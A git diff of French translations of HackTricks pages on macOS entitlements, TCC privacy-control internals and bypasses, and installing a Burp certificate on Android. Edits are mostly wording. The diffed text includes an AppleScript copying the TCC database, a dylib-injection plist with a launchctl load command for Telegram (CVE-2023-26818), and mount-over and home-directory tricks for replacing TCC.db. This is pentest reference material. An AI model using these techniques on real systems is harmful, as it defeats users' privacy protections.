-Il est possible de vérifier qui a cet accès dans _Préférences Système_ > _Confidentialité & Sécurité_ > _Gestion des applications._ +Il est possible de vérifier qui a cet accès dans _Préférences Système_ > _Confidentialité et sécurité_ > _Gestion des apps_. ### `kTCCServiceAccessibility` -Le processus pourra **abuser des fonctionnalités d'accessibilité de macOS**, ce qui signifie qu'il pourra par exemple simuler des frappes au clavier. Il pourrait donc demander l'accès pour contrôler une application comme Finder et approuver la boîte de dialogue avec cette permission. +Le processus pourra **abuser des fonctionnalités d'accessibilité de macOS**, ce qui signifie qu'il pourra par exemple appuyer sur des touches. Ainsi, il pourrait demander l'accès pour contrôler une app comme Finder et approuver la boîte de dialogue avec cette autorisation. ## Moyen ### `com.apple.security.cs.allow-jit` -Cette autorisation permet de **créer de la mémoire qui est à la fois inscriptible et exécutable** en passant le drapeau `MAP_JIT` à la fonction système `mmap()`. Vérifiez [**ici pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit). +Cette autorisation permet de **créer de la mémoire qui est inscriptible et exécutable** en passant le drapeau `MAP_JIT` à la fonction système `mmap()`. Consultez [**ce lien pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit). ### `com.apple.security.cs.allow-unsigned-executable-memory` -Cette autorisation permet de **remplacer ou patcher du code C**, utiliser l'ancienne et dépréciée **`NSCreateObjectFileImageFromMemory`** (qui est fondamentalement non sécurisée), ou utiliser le framework **DVDPlayback**. Vérifiez [**ici pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory). +Cette autorisation permet de **outrepasser ou patcher du code C**, d'utiliser la fonction longtemps obsolète **`NSCreateObjectFileImageFromMemory`** (qui est fondamentalement non sécurisée), ou d'utiliser le framework **DVDPlayback**. Consultez [**ce lien pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory). {% hint style="danger" %} -Inclure cette autorisation expose votre application aux vulnérabilités communes dans les langages de code non sécurisés en mémoire. Considérez soigneusement si votre application a besoin de cette exception. +Inclure cette autorisation expose votre app à des vulnérabilités courantes dans les langages de code non sécurisés en mémoire. Considérez attentivement si votre app a besoin de cette exception. {% endhint %} ### `com.apple.security.cs.disable-executable-page-protection` -Cette autorisation permet de **modifier des sections de ses propres fichiers exécutables** sur disque pour forcer la sortie. Vérifiez [**ici pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection). +Cette autorisation permet de **modifier des sections de ses propres fichiers exécutables** sur le disque pour forcer la sortie. Consultez [**ce lien pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection). {% hint style="danger" %} -L'autorisation de désactivation de la protection des pages exécutables est une autorisation extrême qui supprime une protection de sécurité fondamentale de votre application, permettant à un attaquant de réécrire le code exécutable de votre application sans détection. Préférez des autorisations plus spécifiques si possible. +L'autorisation de désactivation de la protection des pages exécutables est une autorisation extrême qui supprime une protection de sécurité fondamentale de votre app, permettant à un attaquant de réécrire le code exécutable de votre app sans détection. Privilégiez des autorisations plus restreintes si possible. {% endhint %} ### `com.apple.security.cs.allow-relative-library-loads` -TODO +À FAIRE ### `com.apple.private.nullfs_allow` -Cette autorisation permet de monter un système de fichiers nullfs (interdit par défaut). Outil : [**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master). +Cette autorisation permet de monter un système de fichiers nullfs (interdit par défaut). Outil : [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master). ### `kTCCServiceAll` @@ -175,20 +175,20 @@ Selon ce billet de blog, cette permission TCC se trouve généralement sous la f [Array] [String] kTCCServiceAll ``` -Permettre au processus de **demander toutes les permissions TCC**. +Permettre au processus de **demander toutes les autorisations TCC**. ### **`kTCCServicePostEvent`**
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md index 0f8f09075..e8b7db047 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md @@ -2,15 +2,15 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! -Autres façons de soutenir HackTricks: +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@@ -18,7 +18,7 @@ Autres façons de soutenir HackTricks: **TCC (Transparency, Consent, and Control)** est un protocole de sécurité axé sur la régulation des autorisations d'application. Son rôle principal est de protéger des fonctionnalités sensibles telles que les **services de localisation, les contacts, les photos, le microphone, la caméra, l'accessibilité et l'accès complet au disque**. En exigeant le consentement explicite de l'utilisateur avant d'accorder à une application l'accès à ces éléments, le TCC renforce la confidentialité et le contrôle de l'utilisateur sur leurs données. -Les utilisateurs rencontrent le TCC lorsque les applications demandent l'accès à des fonctionnalités protégées. Cela se manifeste par une invite permettant aux utilisateurs d'**approuver ou de refuser l'accès**. De plus, le TCC prend en charge les actions directes des utilisateurs, telles que le **glisser-déposer de fichiers dans une application**, pour accorder l'accès à des fichiers spécifiques, garantissant que les applications n'ont accès qu'à ce qui est explicitement autorisé. +Les utilisateurs rencontrent le TCC lorsque les applications demandent l'accès à des fonctionnalités protégées. Cela se manifeste par une invite qui permet aux utilisateurs d'**approuver ou de refuser l'accès**. De plus, le TCC prend en charge des actions directes de l'utilisateur, telles que **glisser-déposer des fichiers dans une application**, pour accorder l'accès à des fichiers spécifiques, garantissant que les applications n'ont accès qu'à ce qui est explicitement autorisé. ![Un exemple d'une invite TCC](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855) @@ -26,7 +26,7 @@ Les utilisateurs rencontrent le TCC lorsque les applications demandent l'accès Il y a un **tccd en mode utilisateur** s'exécutant par utilisateur connecté défini dans `/System/Library/LaunchAgents/com.apple.tccd.plist` enregistrant les services mach `com.apple.tccd` et `com.apple.usernotifications.delegate.com.apple.tccd`. -Ici, vous pouvez voir le tccd s'exécutant en tant que système et en tant qu'utilisateur: +Ici, vous pouvez voir le tccd s'exécutant en tant que système et en tant qu'utilisateur : ```bash ps -ef | grep tcc 0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system @@ -38,10 +38,10 @@ Les autorisations sont **héritées de l'application parente** et les **autorisa Les autorisations/refus sont ensuite stockés dans certaines bases de données TCC : -* La base de données système dans **`/Library/Application Support/com.apple.TCC/TCC.db`**. -* Cette base de données est **protégée par SIP**, donc seul un contournement de SIP peut écrire dedans. -* La base de données utilisateur TCC **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** pour les préférences par utilisateur. -* Cette base de données est protégée, donc seuls les processus avec des privilèges TCC élevés comme l'Accès complet au disque peuvent écrire dedans (mais elle n'est pas protégée par SIP). +- La base de données système dans **`/Library/Application Support/com.apple.TCC/TCC.db`**. +- Cette base de données est **protégée par SIP**, donc seul un contournement de SIP peut écrire dedans. +- La base de données utilisateur TCC **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** pour les préférences par utilisateur. +- Cette base de données est protégée, donc seuls les processus avec des privilèges TCC élevés comme l'Accès complet au disque peuvent écrire dedans (mais elle n'est pas protégée par SIP). {% hint style="warning" %} Les bases de données précédentes sont également **protégées par TCC pour l'accès en lecture**. Vous ne pourrez donc pas lire votre base de données TCC utilisateur régulière à moins que ce ne soit à partir d'un processus TCC privilégié. @@ -49,17 +49,17 @@ Les bases de données précédentes sont également **protégées par TCC pour l Cependant, rappelez-vous qu'un processus avec ces privilèges élevés (comme **FDA** ou **`kTCCServiceEndpointSecurityClient`**) pourra écrire dans la base de données TCC utilisateur. {% endhint %} -* Il existe une **troisième** base de données TCC dans **`/var/db/locationd/clients.plist`** pour indiquer les clients autorisés à **accéder aux services de localisation**. -* Le fichier protégé par SIP **`/Users/carlospolop/Downloads/REG.db`** (également protégé contre l'accès en lecture avec TCC), contient l'emplacement de toutes les **bases de données TCC valides**. -* Le fichier protégé par SIP **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (également protégé contre l'accès en lecture avec TCC), contient plus d'autorisations TCC accordées. -* Le fichier protégé par SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (mais lisible par n'importe qui) est une liste d'applications autorisées nécessitant une exception TCC. +- Il y a une **troisième** base de données TCC dans **`/var/db/locationd/clients.plist`** pour indiquer les clients autorisés à **accéder aux services de localisation**. +- Le fichier protégé par SIP **`/Users/carlospolop/Downloads/REG.db`** (également protégé contre l'accès en lecture avec TCC), contient l'emplacement de toutes les bases de données TCC valides. +- Le fichier protégé par SIP **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (également protégé contre l'accès en lecture avec TCC), contient plus d'autorisations accordées par TCC. +- Le fichier protégé par SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (mais lisible par n'importe qui) est une liste d'applications autorisées nécessitant une exception TCC. {% hint style="success" %} La base de données TCC dans **iOS** se trouve dans **`/private/var/mobile/Library/TCC/TCC.db`** {% endhint %} {% hint style="info" %} -Le **centre de notifications UI** peut apporter des **changements dans la base de données TCC système** : +L'**interface utilisateur du centre de notifications** peut apporter des **changements dans la base de données TCC système** : {% code overflow="wrap" %} ```bash @@ -123,7 +123,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0; {% endtabs %} {% hint style="success" %} -En vérifiant les deux bases de données, vous pouvez vérifier les autorisations qu'une application a autorisées, interdites ou n'a pas (elle le demandera). +En vérifiant les deux bases de données, vous pouvez vérifier les autorisations qu'une application a autorisées, interdites ou n'a pas (elle les demandera). {% endhint %} * Le **`service`** est la représentation en chaîne de **permission** TCC @@ -134,7 +134,7 @@ En vérifiant les deux bases de données, vous pouvez vérifier les autorisation Comment exécuter s'il s'agit d'un chemin absolu -Il suffit de faire **`launctl load you_bin.plist`**, avec un plist comme suit : +Il suffit de faire **`launctl load you_bin.plist`**, avec un plist comme suit: ```xml @@ -173,8 +173,8 @@ Il suffit de faire **`launctl load you_bin.plist`**, avec un plist comme suit : ```
-* La **`auth_value`** peut avoir différentes valeurs : denied(0), unknown(1), allowed(2), ou limited(3). -* La **`auth_reason`** peut prendre les valeurs suivantes : Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12) +* La valeur **`auth_value`** peut avoir différentes valeurs : denied(0), unknown(1), allowed(2), ou limited(3). +* La raison d'authentification **`auth_reason`** peut prendre les valeurs suivantes : Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12) * Le champ **csreq** est là pour indiquer comment vérifier le binaire à exécuter et accorder les permissions TCC : ```bash # Query to get cserq in printable hex @@ -209,7 +209,7 @@ tccutil reset All ``` ### Vérifications de signature TCC -La **base de données** TCC stocke l'**ID de Bundle** de l'application, mais elle **stocke également** des **informations** sur la **signature** pour **s'assurer** que l'application demandant à utiliser une autorisation est la bonne. +La base de données TCC stocke l'**ID de Bundle** de l'application, mais elle stocke également des **informations** sur la **signature** pour **s'assurer** que l'application demandant l'autorisation est la bonne. ```bash # From sqlite sqlite> select service, client, hex(csreq) from access where auth_value=2; @@ -229,10 +229,10 @@ Par conséquent, d'autres applications utilisant le même nom et l'ID de bundle ### Autorisations et permissions TCC -Les applications **n'ont pas seulement besoin** de **demander** et d'avoir **accès accordé** à certaines ressources, elles doivent également **avoir les autorisations pertinentes**.\ +Les applications **n'ont pas seulement besoin** de **demander** et d'avoir été **accordées l'accès** à certaines ressources, elles ont également besoin de **posséder les autorisations pertinentes**.\ Par exemple, **Telegram** a l'autorisation `com.apple.security.device.camera` pour demander **l'accès à la caméra**. Une **application** qui n'a pas cette **autorisation ne pourra pas** accéder à la caméra (et l'utilisateur ne sera même pas invité à donner les autorisations). -Cependant, pour que les applications **accèdent** à **certains dossiers d'utilisateurs**, tels que `~/Desktop`, `~/Downloads` et `~/Documents`, elles **n'ont pas besoin** d'avoir des **autorisations spécifiques.** Le système gérera l'accès de manière transparente et **demandera à l'utilisateur** si nécessaire. +Cependant, pour que les applications puissent **accéder à certains dossiers d'utilisateurs**, tels que `~/Desktop`, `~/Downloads` et `~/Documents`, elles **n'ont pas besoin** d'avoir des **autorisations spécifiques.** Le système gérera l'accès de manière transparente et **invitera l'utilisateur** au besoin. Les applications d'Apple **ne généreront pas de fenêtres contextuelles**. Elles contiennent des **droits préalablement accordés** dans leur **liste d'autorisations**, ce qui signifie qu'elles ne **généreront jamais de fenêtre contextuelle**, **ni** n'apparaîtront dans l'un des **bases de données TCC.** Par exemple: ```bash @@ -282,7 +282,7 @@ Il est curieux que l'attribut **`com.apple.macl`** soit géré par le **Sandbox* Notez également que si vous déplacez un fichier qui autorise l'UUID d'une application sur votre ordinateur vers un autre ordinateur, car la même application aura des UID différents, cela ne donnera pas accès à cette application. {% endhint %} -L'attribut étendu `com.apple.macl` **ne peut pas être effacé** comme les autres attributs étendus car il est **protégé par SIP**. Cependant, comme [**expliqué dans ce post**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), il est possible de le désactiver en **compressant** le fichier, en le **supprimant** et en le **décompressant**. +L'attribut étendu `com.apple.macl` **ne peut pas être effacé** comme les autres attributs étendus car il est **protégé par SIP**. Cependant, comme [**expliqué dans cet article**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), il est possible de le désactiver en **compressant** le fichier, en le **supprimant** et en le **décompressant**. ## Privilèges et contournements de TCC @@ -336,7 +336,7 @@ strftime('%s', 'now') -- last_reminded with default current timestamp ### Charges TCC -Si vous avez réussi à pénétrer dans une application avec certaines autorisations TCC, consultez la page suivante avec des charges TCC pour les abuser : +Si vous avez réussi à pénétrer dans une application avec certaines vérifications de permissions TCC, consultez la page suivante avec des charges TCC pour les abuser : {% content-ref url="macos-tcc-payloads.md" %} [macos-tcc-payloads.md](macos-tcc-payloads.md) @@ -344,14 +344,14 @@ Si vous avez réussi à pénétrer dans une application avec certaines autorisat ### Automatisation (Finder) vers FDA\* -Le nom TCC de l'autorisation d'automatisation est : **`kTCCServiceAppleEvents`**\ -Cette autorisation TCC spécifique indique également l'**application qui peut être gérée** dans la base de données TCC (donc les autorisations ne permettent pas de gérer tout). +Le nom TCC de la permission d'automatisation est : **`kTCCServiceAppleEvents`**\ +Cette permission TCC spécifique indique également l'**application qui peut être gérée** dans la base de données TCC (donc les autorisations ne permettent pas de gérer tout). **Finder** est une application qui **a toujours FDA** (même si elle n'apparaît pas dans l'interface utilisateur), donc si vous avez des privilèges d'**automatisation** dessus, vous pouvez abuser de ses privilèges pour **lui faire effectuer certaines actions**.\ -Dans ce cas, votre application aurait besoin de l'autorisation **`kTCCServiceAppleEvents`** sur **`com.apple.Finder`**. +Dans ce cas, votre application aurait besoin de la permission **`kTCCServiceAppleEvents`** sur **`com.apple.Finder`**. {% tabs %} -{% tab title="Voler les TCC.db des utilisateurs" %} +{% tab title="Voler la base de données TCC des utilisateurs" %} ```applescript # This AppleScript will copy the system TCC database into /tmp osascript<
+
{% hint style="danger" %} Notez que parce que l'application **Automator** a l'autorisation TCC **`kTCCServiceAppleEvents`**, elle peut **contrôler n'importe quelle application**, comme le Finder. Ainsi, en ayant l'autorisation de contrôler Automator, vous pourriez également contrôler le **Finder** avec un code comme celui ci-dessous : @@ -422,7 +422,7 @@ De même avec l'application **Script Editor,** elle peut contrôler Finder, mais ### Automatisation (SE) vers certains TCC -**System Events peut créer des actions de dossier, et les actions de dossier peuvent accéder à certains dossiers TCC** (Bureau, Documents et Téléchargements), donc un script comme celui ci-dessous peut être utilisé pour abuser de ce comportement: +**System Events peut créer des actions de dossier, et les actions de dossier peuvent accéder à certains dossiers TCC** (Bureau, Documents et Téléchargements), donc un script comme celui-ci peut être utilisé pour abuser de ce comportement: ```bash # Create script to execute with the action cat > "/tmp/script.js" < @@ -255,7 +255,7 @@ Notez qu'Apple utilise le paramètre stocké dans le profil de l'utilisateur dan Le **premier POC** utilise [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) et [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) pour modifier le **dossier HOME** de l'utilisateur. 1. Obtenir un blob _csreq_ pour l'application cible. -2. Placer un faux fichier _TCC.db_ avec les autorisations requises et le blob _csreq_. +2. Implanter un faux fichier _TCC.db_ avec l'accès requis et le blob _csreq_. 3. Exporter l'entrée des Services de répertoire de l'utilisateur avec [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/). 4. Modifier l'entrée des Services de répertoire pour changer le dossier d'accueil de l'utilisateur. 5. Importer l'entrée des Services de répertoire modifiée avec [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/). @@ -281,7 +281,7 @@ Les plugins sont du code supplémentaire généralement sous forme de bibliothè L'application `/System/Library/CoreServices/Applications/Directory Utility.app` avait l'entitlement **`kTCCServiceSystemPolicySysAdminFiles`**, chargeait des plugins avec l'extension **`.daplug`** et n'avait pas le runtime **hardened**. -Pour armer ce CVE, le **`NFSHomeDirectory`** est **modifié** (en abusant de l'entitlement précédent) afin de pouvoir **prendre le contrôle de la base de données TCC des utilisateurs** pour contourner TCC. +Pour exploiter ce CVE, le **`NFSHomeDirectory`** est **modifié** (en abusant de l'entitlement précédent) afin de pouvoir **prendre le contrôle de la base de données TCC des utilisateurs** pour contourner TCC. Pour plus d'informations, consultez le [**rapport original**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/). ### CVE-2020-29621 - Coreaudiod @@ -317,11 +317,11 @@ exit(0); ``` Pour plus d'informations, consultez le [**rapport original**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/). -### Modules d'extension de la couche d'abstraction des périphériques (DAL) +### Plug-ins de la couche d'abstraction des périphériques (DAL) Les applications système qui ouvrent un flux de caméra via Core Media I/O (applications avec **`kTCCServiceCamera`**) chargent **dans le processus ces plugins** situés dans `/Library/CoreMediaIO/Plug-Ins/DAL` (non restreint par SIP). -Il suffit de stocker une bibliothèque avec le **constructeur** commun pour réussir à **injecter du code**. +Il suffit de stocker là-bas une bibliothèque avec le **constructeur** commun pour réussir à **injecter du code**. Plusieurs applications Apple étaient vulnérables à cela. @@ -353,7 +353,7 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox ``` -Pour plus d'informations sur la façon d'exploiter facilement cela, [**consultez le rapport original**](https://wojciechregula.blog/post/how-to-rob-a-firefox/). +Pour plus d'informations sur la manière d'exploiter facilement ceci, [**consultez le rapport original**](https://wojciechregula.blog/post/how-to-rob-a-firefox/). ### CVE-2020-10006 @@ -361,9 +361,9 @@ Le binaire `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` avait les ### CVE-2023-26818 - Telegram -Telegram avait les autorisations **`com.apple.security.cs.allow-dyld-environment-variables`** et **`com.apple.security.cs.disable-library-validation`**, il était donc possible de l'exploiter pour **accéder à ses permissions** telles que l'enregistrement avec la caméra. Vous pouvez [**trouver la charge utile dans l'analyse**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/). +Telegram avait les autorisations **`com.apple.security.cs.allow-dyld-environment-variables`** et **`com.apple.security.cs.disable-library-validation`**, il était donc possible de l'exploiter pour **accéder à ses permissions** telles que l'enregistrement avec la caméra. Vous pouvez [**trouver la charge utile dans l'article**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/). -Remarquez comment utiliser la variable d'environnement pour charger une bibliothèque, un **plist personnalisé** a été créé pour injecter cette bibliothèque et **`launchctl`** a été utilisé pour la lancer : +Notez comment utiliser la variable d'environnement pour charger une bibliothèque, un **plist personnalisé** a été créé pour injecter cette bibliothèque et **`launchctl`** a été utilisé pour la lancer : ```xml @@ -393,7 +393,7 @@ Remarquez comment utiliser la variable d'environnement pour charger une biblioth ```bash launchctl load com.telegram.launcher.plist ``` -## Par invocations ouvertes +## En ouvrant des invocations Il est possible d'invoquer **`open`** même en étant sandboxé @@ -434,7 +434,7 @@ exploit_location]; task.standardOutput = pipe; ### CVE-2020-9771 - Contournement de TCC et élévation de privilèges de mount\_apfs -**N'importe quel utilisateur** (même non privilégié) peut créer et monter un instantané de machine à remonter le temps et **accéder à TOUS les fichiers** de cet instantané.\ +**Tout utilisateur** (même non privilégié) peut créer et monter un instantané de machine à remonter le temps et **accéder à TOUS les fichiers** de cet instantané.\ Le **seul privilège** nécessaire est que l'application utilisée (comme `Terminal`) ait un accès **Accès complet au disque** (FDA) (`kTCCServiceSystemPolicyAllfiles`) qui doit être accordé par un administrateur. {% code overflow="wrap" %} @@ -463,7 +463,9 @@ Une explication plus détaillée peut être [**trouvée dans le rapport original ### CVE-2021-1784 & CVE-2021-30808 - Montage sur le fichier TCC -Même si le fichier de base de données TCC est protégé, il était possible de **monter sur le répertoire** un nouveau fichier TCC.db : +Même si le fichier TCC DB est protégé, il était possible de **monter sur le répertoire** un nouveau fichier TCC.db : + +{% code overflow="wrap" %} ```bash # CVE-2021-1784 ## Mount over Library/Application\ Support/com.apple.TCC @@ -511,11 +513,11 @@ Le dossier **`/var/db/locationd/` n'était pas protégé contre le montage de DM Cela ne fonctionne plus, mais cela [**a fonctionné dans le passé**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:** -
+
Une autre méthode utilisant les [**événements CoreGraphics**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf): -
+
## Référence @@ -528,9 +530,9 @@ Une autre méthode utilisant les [**événements CoreGraphics**](https://objecti Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres façons de soutenir HackTricks: +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** diff --git a/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/mobile-pentesting/android-app-pentesting/install-burp-certificate.md index ee8a0ae00..bace7310b 100644 --- a/mobile-pentesting/android-app-pentesting/install-burp-certificate.md +++ b/mobile-pentesting/android-app-pentesting/install-burp-certificate.md @@ -6,11 +6,11 @@ Autres façons de soutenir HackTricks : -- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@@ -20,7 +20,7 @@ Tout d'abord, vous devez télécharger le certificat Der de Burp. Vous pouvez le ![](<../../.gitbook/assets/image (367).png>) -**Exportez le certificat au format Der** et transformons-le en une forme que **Android** pourra **comprendre**. Notez que **pour configurer le certificat Burp sur la machine Android dans AVD**, vous devez **exécuter** cette machine **avec** l'option **`-writable-system`**.\ +**Exportez le certificat au format Der** et transformons-le en une forme que **Android** pourra **comprendre**. Notez que **pour configurer le certificat burp sur la machine Android dans AVD**, vous devez **exécuter** cette machine **avec** l'option **`-writable-system`**.\ Par exemple, vous pouvez l'exécuter comme suit : {% code overflow="wrap" %} @@ -52,21 +52,21 @@ Si vous avez **rooté votre appareil avec Magisc** (peut-être un émulateur) et Expliqué dans [**cette vidéo**](https://www.youtube.com/watch?v=qQicUW0svB8) vous devez : -1. **Installer un certificat CA** : Il vous suffit de **glisser-déposer** le certificat Burp DER en **changeant l'extension** en `.crt` sur le mobile afin qu'il soit stocké dans le dossier Téléchargements et allez dans `Installer un certificat` -> `Certificat CA` +1. **Installer un certificat CA** : Il vous suffit de **glisser-déposer** le certificat Burp DER en 